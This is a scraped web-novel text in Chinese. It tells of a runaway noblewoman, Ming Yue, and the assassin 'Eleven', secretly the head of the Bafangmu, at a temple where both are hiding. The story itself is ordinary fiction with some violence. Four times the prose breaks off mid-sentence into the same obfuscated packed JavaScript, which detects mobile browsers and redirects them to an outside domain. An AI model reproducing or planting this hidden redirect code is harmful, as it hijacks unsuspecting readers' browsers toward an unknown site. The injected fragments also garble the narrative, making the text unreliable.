刚将发烫的药碗端起,少女尖叫一声,他手里的碗差点就掉下了桌案。 “十一!” 明越翻身坐起,掀开床幔扫视了屋内一圈,细眉紧蹙,“十一去哪了?” 无尘住持不知她在说什么,但灵澈想起了中午等在寮房外的那个少年,回道:“那个施主好像下午就出门去了。” “他去干什么?” “啊,他没说过……” 灵澈怕他一直站在外面会受冻着凉,好心替他收拾出一间寮房,但那人看都没看一眼,说了句“不用”提剑就走。 他还哪敢过问少年的去向? 明越双手攥紧了身上的衾被,后将衾被一撩,她利落下床,拿起枕边叠得齐整的氅衣披在身上。 窗外夜深人静,冷风飒飒,明越毫不犹豫推开房门。 “我要去找他。” * 衍回寺数十里外,血光染红了密林深处的幽暗。 尸首七零八落堆在各处,一片死寂中,只有一男子挣扎着爬起,想去探远在几尺之外的刀。 五指抓地,极其艰难的向前蠕动着。 刀柄近在咫尺的一瞬,一只玄黑皂靴蓦然压了下来。 男子吃痛惨叫,哀声求饶:“公子饶命!公子饶命!是我有眼不识泰山……” 清透的月光纱幔般洒下来,一点一点描摹出眼前玄衣男子的身形。银白面具遮掩不住的,是他浑身血腥的杀气。 “你没出手?” 男子连忙道:“没出手,我真的没出手!飞云帮不通掌力气功,公子可向旁人求证,若有半句虚言,我张……!” 话未说完,男子瞳孔骤缩,大量鲜血从口中喷涌而出,两眼一翻便咽了气。 寒风吹过,夜晚浓重刺鼻的血腥气弥漫开来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040521|162502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 姜演目睹了一切,从暗中走出,道:“主上,他们确实没说谎。” 徐吟寒手中的短刃还在一滴一滴坠着血珠,他正要入鞘,掌住剑柄的手一顿,转而扔给了姜演。 “我知道。” “那您为何要杀他们?”姜演用巾帕将剑身上的血擦拭干净,“分明就是那位悬赏主的把戏而已,您当时就应该看得出来。” 剑身干净了,但是剑柄上挂着的那束朱红剑穗却沁了零星血迹。 “主上,这……” 徐吟寒瞥见,伸手一勾一扯,剑穗便不知掉入了哪个角落里。 这柄短刃是贵月楼的杀手人手一把的,徐吟寒取代的杀手十一,在这束剑穗上留有印记,早该将所有痕迹都抹去。 姜演松了口气,几番检查后递回给徐吟寒。 “刺啦”一声,短刃利落入鞘。 “不过您杀了他们也好,如若这些人去龙虎门找您的麻烦,倒容易引人怀疑。” 姜演自顾自道,忽而加重语气,“我觉得,这次的悬赏主有些古怪。” 徐吟寒睨他一眼:“才发现?” “您早就发现了?” 姜演思考着:“一个小姑娘能拿出那么多钱先不说,居然还与衍回寺的暗探相熟,目的地还是眉州……” 他笃定:“肯定就是那人派来试探您的。” 徐吟寒不置可否,抬脚走出尸首遍地的林中。 姜演跟在他身后:“这样一想主上您的处境甚是危险,要不就让我暗中保护您,我保证绝不露出马脚——” 身前人突然停下脚步,抬手打住他。 姜演疑惑看向前面,不由瞪大了眼。 深不见底的暗夜中,一道纤细雪白的身影立在其中,手提着的一盏明亮如昼的油灯,摇摇晃晃晕染出小巧脸庞的轮廓。 少女看见他们后,一双泛红的眼轻轻眨了眨,随即弯作两轮弦月。 …… 明越找徐吟寒的过程异常艰辛。 都跑出衍回寺了,看着一片漆黑的树林,她才记起自己有夜盲症,匆匆回去找了盏油灯,漫无目的的向前走。 她一直想,要是再也找不到十一怎么办。 那她的钱不都白花了吗!? 十一本就对她心存不满,或许就会趁她昏迷这段时间偷偷离开。他是个杀手,他要是想走,她怎么可能再把他找回来。 但是也有另一种可能。 莫非是见她真的晕倒过去,替她去向飞云帮的人报仇了? 虽然这种可能性微乎其微,但以十一自大妄为的性子,说不定还真能做出一挑五的事。 那现在就不是走没走的问题,而是还活不活着的问题了。 明越边走边胡思乱想。 她既被骗心又被骗钱,大晚上一个人奔波,还差点被路上的石头绊倒…… 眼眶突然变得热乎乎的,她抬手拭去一滴泪,再掀眼竟看见了她念叨了一路的十一。 少年与一黑衣人站在一起,正朝她的方向走来。 看见她之后,两人的表情都有一丝明显的错愕。 不论怎样,明越终于安下了心,许是喜极而泣,眉眼弯弯冲他笑的同时,眼尾流下一行泪来。 “十一。” 她哑着嗓子喊了声,嘴巴又一瘪,带着哭腔委屈巴巴道,“我、我以为……” 徐吟寒与姜演对视一眼,手都朝腰间剑柄按去—— “我以为你死了……” “……” 8. 缚雪 执令期间不可私逃、要对我的安危负责、怕你出事前来寻你…… 明明有很多个理由在明越脑海中一闪而过,但她不知怎么,一张嘴就是最坏的结果。 徐吟寒显然也没想到明越会出来找他。 姜演也来不及躲藏,更要命的是,他还得给姜演编一个合适的身份,以及他们在此处的缘由。 垂眼思索时,他听到少女的脚步声渐近。 油灯的光照亮他们之间的山路,明越断断续续抽噎着,还在认真看脚下的路,慢慢走过来。 直到那束光攀上他的足尖,少女忽然捂紧鼻子,向后退了几步。 “好难闻的味道。” 明越顿了顿,挑着灯在徐吟寒身上寻找味道的来处,瞥见他袖口上几滴乌黑血迹。 她睁大了眼:“血……血腥气?” 徐吟寒:“我……” “你受伤了?” 明越急促问着。她尚红着眼,眉头紧蹙,看样子就像是担心极了他。 “……” 徐吟寒张了张嘴,还没说话,旁边的姜演一口应下:“对对对,我们主上他受了很严重的伤!” 意识到自己说漏了嘴,姜演连忙噤声,往徐吟寒身后躲去。 明越这才注意到姜演的存在。 这人没戴面具,个子比徐吟寒稍矮些,模样也更稚嫩。 腰间也别着一把与徐吟寒两柄短刃中很相似的短刀,而且上面似乎刻着奇怪的印记…… 但夜太暗,她努力挤眼睛也看得不甚清楚。 明越与徐吟寒擦肩而过,向姜演靠过去,正要伸手探向他腰间,手腕被徐吟寒捉住,温热而有力的手掌将她禁锢在原地。 “是。” 徐吟寒缓缓垂下眼,顺着她白皙的额头,对上她通红的双眼。 “我受伤了。” 他不知是在回她久远的问话,还是在主动提起,但是掌下脉搏的跳动声那么清晰。 明越被他看得一愣,忘记了自己在做什么,下意识要抽回手。 “你受伤了……”她转了转被他攥到发困的手腕,疑惑歪头,“受伤就受伤了,怎么了吗?” “……?” “你一个杀手还怕受这点小伤吗?而且也不是我害的,你别怪在我头上。” “……” 徐吟寒扬了扬眉:“那你哭什么?” 明越:“我又没哭你。”她又用审视的目光看向姜演,“我还没问你呢,他——是谁啊?” “你又背着我干了什么?” “你怎能趁我不在私自离开?” “你不知道贵月楼的规矩吗?” …… 面对明越不依不饶的质问,徐吟寒几乎就想手起刀落,让她永远闭上嘴算了。 还是姜演好生解释说,他与徐吟寒多年未见,曾拜他为师,此番一路追来徵州寻他,只为了寒暄叙旧。 明越见他无处可去,当即决定把他也一同带回衍回寺。 无尘住持与灵澈还在寺门前等明越,坚持说要再给她复诊一遍。跟着住持走前,明越再次敲打了番徐吟寒。 时刻护她左右。 不可无故离开。 有非做不可的事必得向她请示,得她准允才能去做。 …… 絮絮叨叨说了一大堆,明越眼神下移,这次有了寺庙的灯,她一眼便看见了他袖口的血迹。 徐吟寒已经十分不耐,姜演见状,一直在他耳边念叨“小不忍则乱大谋”。 他偏开头,极力克制着心头的怒意。 “还有,”少女停顿了下,道,“十一受伤了,还请住持为他请个郎中。” 闻声,徐吟寒回过头来。 明越自他腰间拿走其中一柄短刃,在手中晃了晃,“最后一条,不要再轻易受伤。” “这个我暂时没收,小惩大戒。” …… 几人走后,徐吟寒和姜演跟在一僧人身后去为他们准备的寮房。 僧人离得远,姜演便小声问徐吟寒:“主上,悬赏主拿走的不会是咱们八方幕的刀吧?” 徐吟寒摇了摇头。 他的两柄短刃都别在一侧腰间,明越拿走的刚好是方才杀人用的,扔了染血剑穗的那柄贵月楼的刀。 姜演舒了口气:“幸好幸好,要拿的是咱们的,那主上您的身份可就暴露了。” “但是您怎么任她拿啊,那可是您的刀,她说没收就没收,她以为她是谁啊!” 姜演泄愤似的在空中挥了两拳。 安排给他们的寮房与明越的同在西院,不过一炷香的时间,僧人就带了一老郎中来给徐吟寒诊伤。 老郎中也是寺庙中人的打扮,姜演焦急地想该怎么蒙混过关,没想到徐吟寒已经拿起腰间的刀。 衣袖卷至臂弯处,他用刀划破小臂上一道暗淡的刀疤,旧伤重创,血肉模糊。 而后将短刀藏进袖中,抬脚从碧色屏风走出,岔腿坐在床沿,面不改色对老郎中道:“上药吧。” 姜演属实心疼自家主上。 但这一切还是归咎于那个爱多管闲事的悬赏主! 他站在徐吟寒身边,看着老郎中在他小臂上缠起几圈裹伤的布条,灵机一动。 “大夫,那位姑娘如此挂念我们主……我师父,我们真的很感激她,不知姑娘素来喜爱什么样的物件,我们好投其所好,当面道谢。” 徐吟寒掀起眼来。 老郎中先是被这话吓一激灵,又被一道寒冽的目光锁住,扯布条的手不由抖了几抖。 “你不用担心,我师父与那位姑娘也是熟人,只是想给那位姑娘一个惊喜罢了。” 老郎中沉默了会儿,道:“不必如此。” 姜演与徐吟寒交换了下眼神。 老郎中并没有第一时间反驳他认识悬赏主,说明悬赏主与衍回寺必定有着千丝万缕的关系。 “那大夫可知今日她为何昏迷不醒,”徐吟寒轻慢道,“我也挺关心她的。” 老郎中犹豫道:“这……” “怎么。” 伤口已包扎好,徐吟寒站起身来,不紧不慢松开袖口,“难道这也不行?” “……” “是有碍,还是无碍?” ——还是她的身份涉及到衍回寺的暗探,即使无碍也要变作有碍。 徐吟寒看着急匆匆出门的老郎中,目光寒冽如冬。 * 明越去往眉州这一路,本没有打算在徵州时去一趟衍回寺的。 她设计逃婚、违背皇命、招惹是非,已是戴罪在身,与她牵扯的人越少越好。 但她阴差阳错来到衍回寺的时候,她看着那副金灿灿的牌匾,心中难免升起些不舍。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040522|162502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——这是她从小长大的地方,是她永远的家。 那日与飞云帮决斗时,她已经认出了那些僧人中熟悉的面孔。他们没有直接与她相认,也是在保护她。 被明宗源接回朝都前,无尘住持和衍回寺的僧人是她为数不多的亲人。 当寮房内只剩她与无尘住持时,明越“哇”的哭出了声,扑进无尘住持的怀里。 这段时日所经历的苦难与委屈像奔涌的潮水,她几乎在溺死的边缘挣扎。 无尘住持安抚着轻拍她的背,等她哀嚎般的哭声变成微弱的哽咽,才笑着递给她干净的巾帕。 “几年不见,圆圆怎地越发爱哭了?” 明越一抽一抽的哭,眼泪像流不尽的清泉,不停地打湿巾帕。 “圆圆”是无尘住持为她起的小字,连朝都明府的人都不曾知晓。 明越缓过来,哑声道:“住持,我过几天就要走了。” 无尘住持敛起笑意,沉声:“逃婚不是儿戏,你能逃的了一时,可有想过往后如何生活?” 明越垂下眼:“我想过,我已经有打算了。” “你还没告诉过我,你究竟为何逃婚?是不想嫁进皇室,还是……” “我,”明越顿了顿,偏开眼,“我就是不想。” 她想起什么,又问道:“但是住持怎么知道我是逃婚?全天下人都觉得是八方幕掳走了我,我能骗过全天下人,却骗不过住持?” 无尘住持手中盘着佛珠,叹气道:“八方幕不会做这种事。” 明越不哭了,倒是来了兴头:“为什么?” 无尘住持:“因为他们的主公是徐吟寒。” 徐、吟、寒。 直到现在,这三个字才真正在明越这里有了意义。 她用指尖蘸茶水,在桌案上端端正正写下这三个字。 “这个名字,倒是好听。” ——如果不满天下追杀她的话,还可以更好听。 “住持,你见过他吗?” 她抬起头,两手托腮看着无尘住持,像个等着长辈讲故事的孩童。 佛珠在指间停顿,无尘住持沉默许久。 “我见过他小时候。” “!” 明越只知道无尘住持收留孤儿,古道热肠,平时也无所不能,不论她有什么困难都能帮她解决。 没想到,无尘住持居然还与这么厉害的人有些过往。 她继续问:“那他是个好人吗?” 说完,她自顾自道:“应该不是吧,小时候可能看不出什么,传闻他杀人如麻,坏事做尽,手上沾了血,就不是好人了。” 无尘住持:“你倒是看得透。” “那你身边那个贵月楼的杀手,也就不算好人了。” 明越惊讶道:“住持怎么知道……” 无尘住持只是笑着看她。 明越卸下她从十一那儿没收来的短刃,指腹摩挲着剑鞘上繁复的纹路。 “他要钱,我要他的保护,各取所需而已。” 剑柄上缀着一颗黑曜石,与她记忆中的相差无几,但她还是觉着,好像缺了什么。 似乎是想通了什么,她如释重负般往后一倒:“各取所需啊……” 她嘟嘟囔囔道:“也不知道他伤得重不重。” 伤得太重的话,就得她来保护他了吧? 9. 缚雪 经过一夜辗转反侧的思考,明越一大早跑去寺庙的膳房熬了碗薏米粥。 能遇上她这样心软善良又有些许美貌,最重要是能忍受他的冷漠的悬赏主,十一做梦都会觉得自己幸运吧。 端着热气腾腾的薏米粥往徐吟寒所在的寮房去时,明越用尽浑身解数将自己夸了一遍。 走到门口,她深呼吸几回,弯起一抹甜笑,轻轻敲门:“十一,你醒了吗?” 半晌无声。 正巧有一僧人路过,对明越道:“那位男施主早上便出门去了。” 明越“哦”了声,撇着嘴看她煮的热粥。 少女孤身立在台阶上,像一个犯了错的孩童正在面壁思过。 徐吟寒让姜演处理了飞云帮五人的尸首,刚回来就远远望见这一场面。 晨起的冷风还在呼啸,明越拢了拢氅衣,径直蹲下身将热粥放在地上,抱作一团。 徐吟寒站在她身后的廊庑中,不动声色。 “十一!” 突然一道清甜的嗓音响起,他看向明越,发现那人还是背着身的。 那…… 少女清清嗓子,换了个更严肃的声音:“十一。” 徐吟寒:“……” 明越继续道:“我知你对我心存不满,我也想了想,往后我们各取所需,只要你能保护好我,我便不再干涉你的事。” “当然,前提是保护好我,不然我不会给你指定的信物,你也拿不到钱。” “听懂回答。” 徐吟寒静静听着她的话,有些荒谬地扯了扯嘴角。 他也不曾被人用这种语气威胁过。 那人不知还在絮絮叨叨什么,徐吟寒已无心再听,刚巧姜演在这时进了院子,没注意到明越,跑到徐吟寒身边道:“主上,我有个重大发现。” 明越一听见声音便转过头来。 少女的脸颊与鼻尖被冻得通红,脸庞陷入暖融融的氅衣里,略带讶异地看着他们。 “十一,你回来了!” 用的还是第一种声音。 她提裙跑过去,看了眼姜演,又重新看向徐吟寒。 他们昨晚便在一起不知道做了什么,今早又是…… 想着想着,她忽然意识到什么,使劲摇了摇头,微抬下颌道:“放心,我是不会问你们去干了什么的。” 然后她让开一半身子,指了指还在地上的粥碗。 “我来就是给你送一碗粥,自己趁热喝了吧,不然你的伤好不了,有些事还得麻烦我。” 徐吟寒顺着她的手臂看过去,一白色小碗孤零零放在地板上,看起来很是……寒酸。 徐吟寒眯了眯眼:“你喂狗呢?” “……” 好像确实有点像。 明越当然也不可能再去端起来,便破罐子破摔道:“爱喝不喝。” 说罢她就气冲冲地跑走了。 姜演小心翼翼看了眼徐吟寒:“主上,这……没关系吗?” 徐吟寒收回视线,问:“什么重大发现?” 姜演压低声音道:“皇室的羽林卫已经到徵州了,正拿着画像挨家挨户寻人。” “据说,就是明府给出的明小姐的画像。” * 明越已经走出二里地了,但一想到方才和徐吟寒说的话,她就浑身不得劲儿。 她还打算好声好气与他说,想让他多养几天伤,晚几天再出发。 现在看来,那人根本就不会领情。 明越决定不再想任何关于十一的事,听灵澈说今日街上会很热闹,便坐着寺庙的马车赶往了徵州的铜雀街。 她在这条街上买过糖葫芦,这会儿左看看右看看,看到一堆亮晶晶的小玩意儿,拿着无尘住持给的银钱买了不少东西。 她腰间还别着徐吟寒的短刃,路过一个摆着很多红穗手串的小摊,突然就想起徐吟寒的剑柄上究竟缺什么了。 她以前见过他剑柄上那束火红的剑穗,可能是他昨晚出门时弄丢了,就显得短刃空落落的。 明越停下来,仔仔细细在摊位前搜寻着。 但看过所有的穗子和流苏,都没有她喜欢的。 摊主似乎看到了她紧皱的眉头,连忙拿出一些未编好的红绳,道:“姑娘若是不喜欢,也可以买了红绳自己编。” 明越一想,终于笑了起来,大大方方买下摊主这里所有的红绳。 刚要离开,她探出的足尖一顿,随即警惕地收了回来。 不对劲。 她拉起兜帽衣领,遮住半张脸,扫视着周围的百姓。 他们仿佛在拘束惧怕着什么。 明越逃跑的这些时日见过很多这种情况,只有一种可能性—— 追兵已经到了徵州。 果然,一队侍卫自转角处浩浩荡荡朝她这边走来,明越下意识转头就想跑,可这会儿逃跑与暴露无异,她只能转身走开,压着步子装作若无其事,视死如归般等那队青袍侍卫逐渐靠近。 这些日子明家快将朝都翻了个底朝天,对上那群不过略通拳脚的家丁,她自然有恃无恐,而天子十八亲卫之一的羽林卫显然不是那么好糊弄的。 整齐有序的脚步声震得她头皮发麻,终于在她快腿软到走不动路时,一人喊住了她:“姑娘。” 见那道娉娉婷婷的背影停下,陆绥三步并作两步上前,拿出手中的画像。 “近日有一桩悬案未结,疑犯仍遁逃在外,烦请姑娘看看,可否辨认此人?” 他说话还算谦和有礼,且一直低垂着眼,目光对她有所避忌。 明越稍稍松懈了些,压低声音“嗯”了一声。 随后那幅画像便在她面前展了开来。 意料之外的,上面的人并不是她,而且这个人她也当真不认识。 “……这是谁?” 怀着讶异呢喃出声,她发觉不妥,悄悄瞥了那人一眼。 所幸那人并未察觉,回答她:“这位就是八方幕的主公。” 话音刚落,“扑通”一声,明越手里的那包红绳脱力落在地上,骨碌碌滚去陆绥脚边。 陆绥睨见少女苍白的面色,默不作声收起画像,弯腰去捡。 其实不怪姑娘如此失态。 这八方幕向来以暴戾恣睢出名,其中杀手个个手染无数鲜血,更别说画像上这位青面獠牙、面容可怖的主公—— 没有任何可靠古籍,羽林卫只得拼拼凑凑画出画像,分明就不是人该有的长相。 用这样的画像找人,可能性本来也是微乎其微的。 “抱歉,吓着姑娘了。” 没什么收获,陆绥还赶着多问一问城中百姓。 在青袍侍卫经过之后,明越惊魂未定地拍拍胸脯,连忙躲到一个无人的巷尾。 她的运气还算是好,没有遇到自己的画像,不然…… 明越闭了闭眼,双手还在似有若无的发颤。 等巷外的百姓恢复了往日的神态,她才慢慢踱步出去。 马车停在铜雀街外,明越全然没有了逛街的想法,一股脑往马车的方向走。 走着走着,她在一家包子铺前,看到了一个熟悉的人。 那不是十一的徒弟吗? 那个男子正在包子铺前对着几笼包子大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040523|162502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快朵颐,对面的座椅上放着一张画卷。 看起来与刚才青袍侍卫手中的那副别无二致。 那青袍侍卫手中的是八方幕主公,男子手中的—— 只能是她这个,被恶徒八方幕掳走的可怜太子妃了。 …… 徵州的肉包是远近闻名的好吃,姜演一直都想尝试一回。 正好自家主上让他出来拿到羽林卫手中明府小姐的画像,他不费吹灰之力就偷了出来,还有大把时间,足够让他在回去交差前吃个够了。 已经吃了三笼,他还觉得不够,便起身去向店家再要了三笼,吃了个尽兴。 等他吃饱喝足,美滋滋要拿画像回衍回寺时,发现原本好好躺在长椅上的画像不翼而飞。 姜演直直愣在了原地,久久没能缓过神来。 见……见鬼了!? * 一路跑出铜雀街,再飞快踩上衍回寺的马车,明越才有余力喘口气歇一歇。 方才偷画像真的好险,差点就让那男子转身时看到了。 幸好他的注意力都在热腾腾的包子上。 稍微平静下来后,明越徐徐展开被自己攥得皱皱巴巴的画像。 这幅画像应是新画的,她从未见过,也从未穿过画像上的衣服,梳过画像上的发髻。 明越又笑了笑。 当然是新画的了,她在朝都明府时从来没机会有一幅自己的画像。 可是这画像有七八分都不像她。 也就是她本人能从中看到一些神似的地方,换做旁人,都认不出这是她。 她自上而下,慢慢从中间撕开一条裂缝。 画像上的人变得七零八碎,再也辨认不清。 车马稳行,向衍回寺驶去。 静下心来,明越想起另一桩事。 十一竟然也对她的踪迹感兴趣? 难不成十一想在执令期间顺手接下皇室的悬赏令,一劳永逸? 她想起来,在他们第一次共度的那个晚上,十一就曾说过,他很在意八方幕,和整件事。 那到底是为什么在意? 这样的怀疑一直持续到马车进了衍回寺。 她心事重重回到西院时,恰好看见包子铺那个男子在与十一说话。 在廊庑间一座凉亭里,姜演委屈巴巴诉说着自己的遭遇,而徐吟寒则脸黑如泥。 他烦躁地别开眼,恰好对上明越的视线。 只是过了几个时辰,他觉着明越跟今天早上好像有点不一样。 正想着,少女朝他走了过来。 “十一。” 她抬眼,紧盯着徐吟寒,“我今天去街上买了些东西。” 徐吟寒默不作声。 “然后有人给我看了一幅画像,问我有没有见过这个人。” 徐吟寒还是没什么表情,反而是一旁的姜演瞪大了眼。 明越缓声继续:“他说,这个人是八方幕的主公。” “你想知道他长什么样子吗?” “十一?” …… 姜演只去偷了画像来,还未曾看过,也不曾知晓主上的画像也已暴露。 在少女说出这几句话后,徐吟寒的脸色陡然阴沉下去,周遭仿佛都结上了一层寒冰,恍若凛冬。 也只一瞬,空气中升起强烈的凌厉肃杀之气。 姜演还想提醒徐吟寒先别暴露身份,明越说的未必都是真的。 但徐吟寒的手已经探向腰间的短刃,指腹摩挲过的地方,是八方幕主公独有的缚雪印。 六瓣异形莲,唯有—— 八方幕。 10. 缚雪 姜演猛地闭上眼睛。 看来今天又有一条鲜活的生命要折在此处了。 “你想知道的话……” 别说了别说了别说了,都死到临头了还胆大包天地试探主上! 姜演实在不忍听到明越待会儿凄惨的哭嚎声。 刀身擦过剑鞘,细微又刺耳的一声响,却如暴风骤雨前的滚滚惊雷,让姜演不禁打了个寒颤。 三秒、两秒…… 一秒—— “我当然可以告诉你。” 诶? 姜演有些错愕地睁开眼。 眼前的少女扬着一抹甜笑,整个人仍如沐春风,像是怀揣着什么奇珍异宝在兴冲冲的与人分享。 姜演又看了眼徐吟寒。 一双冰冷的眸中满是对眼前人的警惕与杀意,指间剑光乍现,锋利凛然,与少女的明媚相抵抗着。 那么极端的一幕。 不过在听到那句话后,徐吟寒紧绷的双臂明显有了一丝松动。 看着僵硬的师徒二人,明越疑惑地眨了眨眼:“怎么了,你们不想知道吗?” 顿了会儿,徐吟寒不动声色按回短刃,垂眼看她:“你说。” 明越满意地弯起嘴角。 但她又说怕被旁人听去,三人便回到了徐吟寒的寮房,围坐在一张圆桌前。 明越坐直身子,清了清嗓子:“但是说之前,我有一个条件。” “……” 就知道,这个自私自利狂妄自大的悬赏主绝对是有不可告人的目的的! 姜演握紧了手里的茶杯。 明越笑眯眯道:“很简单。” 她看向徐吟寒:“十一,告诉我,你为什么这么在意这件事?” 闻言,姜演瞳孔一震。 难道说,就算她看到的羽林卫手里的画像是假的,她也开始怀疑主上的身份了? 徐吟寒倒是从容不迫,浅抿了口杯中的热茶。 他从一开始就没想过破绽会出在此处,毕竟能解释这件事的理由很多,比如他也想拿下皇室的悬赏令。 为了钱,很合理。 他刚想开口,被姜演一拍桌子打断。 “啪”的一声,姜演“蹭”地从椅子上站起来。 两人都向他看过来。 事关主上大业,他不能让主上如此为难地身陷险境,他必须站出来,做主上的挡箭牌,为主上保驾护航! 他咬了咬牙,慢慢道:“其实我师父他……” “他是由于爱慕明小姐才这么急切的!” 徐吟寒:“?” 明越:“?” 明越目瞪口呆:“……真的吗?” 姜演狠狠点头:“真的啊,我师父早在隐居之时就听闻明小姐貌美如花、倾国倾城,上知天文下晓地理,是个远近闻名的才女,师父虽然未曾见过明小姐,但早已芳心暗……呸,是情根深种!” 明越听得一愣一愣的,偷偷瞥了眼面不改色的徐吟寒,扭捏着低下头:“那我怎么不知道……” 姜演没听清:“什么?” 明越回过神来,摆了摆手:“没事没事,我的意思是,我也曾见过倾国倾城的明小姐一面,没想到她还有这么多芳心暗许的追求者……” 徐吟寒:“……” 明越又问:“那具体是多久之前听说的呀?” 在搬来朝都明府之前,她记得她好像没有这么显赫的名声。 姜演想了想,竖起三根颤颤巍巍的手指,破釜沉舟般怼上去:“三年前!” 明越恍然大悟。 是了,她就是三年前被接回朝都明府的,作为明府遗落在外的大小姐,确实有许多虚实难辨的言论在说书人口中疯传。 见明越似是信了,姜演松了口气,偷偷冲徐吟寒比了个大拇指。 “……” 徐吟寒偏开头去,脸色愈发难看。 果然害羞了啊。 明越努力压着疯狂上翘的嘴角,好心宽慰道:“十一,放宽心,喜欢一个人又不是什么丢脸的事情。” “看来你在意这件事的确是情有可原。” 姜演见状,再添一把火:“对啊,可恨那个丧心病狂的什么八方幕主公,居然敢光天化日之下掳走倾国倾城的明大小姐!” 丧心病狂的八方幕主公:“……” 倾国倾城的明大小姐:“……” 明越目光闪躲了下,抬手摸了摸鬓角的碎发:“嗯……要不我们换个话题吧?” 她两手托腮,脸颊微红,眉眼弯弯看着对面的徐吟寒,视线从他放在桌上干净修长的手,颀长的脖颈,移到他澄澈漠然的眼。 “……再讲讲你师父心悦明大小姐的故事?” …… 不知过了多久,窗外夜色渐深,明越才蹦蹦跳跳从徐吟寒的寮房离开。 圆桌上空了三把茶壶,无数盏小茶杯,姜演一股气喝完最后一杯,往桌上一瘫。 “主上,我不行了……” 他嗓音沙哑,奄奄一息道。 谁也没想到这个悬赏主那么喜欢听故事,害他整整编了三个时辰,直接编完了主上和明大小姐的整段情史。 幸运的是,总算是圆回去了。 徐吟寒一言不发站在窗前,抬手松了松衣襟,负手而立。 姜演小心翼翼打量着。 看起来好像是没怪他擅自作主——如果主上负在身后的双拳没有紧握的话。 姜演连忙坐起来,找补:“但是您没发现,这位悬赏主可能与明大小姐颇有渊源吗?她曾见过明大小姐!” 徐吟寒稍稍侧身,月光攀上他分明的侧颜,照亮他眼底的冷淡。 姜演注意到徐吟寒的耳廓。 是方才被冷风吹得太久,冻红了吗? “她的身份你可有查到?” 姜演:“衍回寺的人闭口不谈,我四处打听都无人知晓,如果您允许,我看只能飞鸽传书眉州那位了。” “那位一定能查出悬赏主的身份,正好悬赏主说要您养伤,在此地修养三日。” “三日,已经够了。” 屋内霎时陷入长久的冷寂。 良久,徐吟寒关上窗。 “可以,你去办吧。” “好嘞!” 姜演从椅子上跳起来,正要冲出门去,又被徐吟寒喊住。 铺满倜傥月光的直棂窗前,少年松身玉立,瘦削颀长,抱臂倚在窗户上,耳廓一抹可疑的红将消未消。 “下次那些事少说。” 姜演愣怔着,试探问:“您指的是哪些事?” “是您为见明大小姐每日辛苦练剑的事?” “……” 见徐吟寒脸色不对,他马上换了句:“还是您三年间每日都为明大小姐写一首情诗的事?” “…………” 徐吟寒没再说什么,足尖一抬,径直走出了屋门。 望着那道凌厉的身影,姜演忽然两手一拍,眼睛放光。 一定是主上对明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040524|162502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大小姐思念过度,在无数个深夜……(此处省略八个字)的事! * 次日,天光未亮,明越就已经坐在了窗前的桌案前,指间缠着几根红绳,小心翼翼地摆弄着。 红绳上打了好几个结,都是歪歪扭扭的,明越不满意,又拆开重打。 最后变成了一个解不开的疙瘩。 她一把扔下红绳,向后靠倒在椅背上。 又看着桌上的短刀叹了口气。 她本想今日就做好剑穗,将短刀还给十一的,但一直没什么头绪。 明越伸了伸懒腰,撑着桌子起身,从窗口看到灵澈匆匆忙忙地赶过来。 她就趴在窗边,冲灵澈招手道:“跑慢点,别摔了。” 灵澈看到她便也凑过来,气喘吁吁道:“圆圆阿姊!” 明越轻轻揉了揉他光溜溜的脑袋。 灵澈是在她离开朝都明府以后才被收养进衍回寺的,与她并不相识,但也跟着无尘住持喊她“圆圆”。 “怎么了?” 灵澈指了指她对面的寮房:“我刚看到那两个人在寺庙门口说什么……要去哪里玩!” “去玩?” “对,两个人鬼鬼祟祟的,阿姊要不要赶紧去看看?” 明越颔首:“当然要去!” 大跨步走出去,她才问灵澈:“不过你为什么要跟我说?” 灵澈:“我在替阿姊监视他们啊,万一他们再像上次一样偷偷跑了,惹得阿姊带病去追,伤了身子多不好。” 好像,有点道理。 他们办正事不带她就算了,居然玩都不带她? 明越跟着灵澈到了寺庙外,果然看到那两人在说些什么。 而姜演与徐吟寒也没有注意到躲在门后的明越他们。 该说的差不多都已说完,姜演最后道:“所以,主上,兄弟们都不好出面,还得看您的。” “杀了那个人,才能永绝后患。” 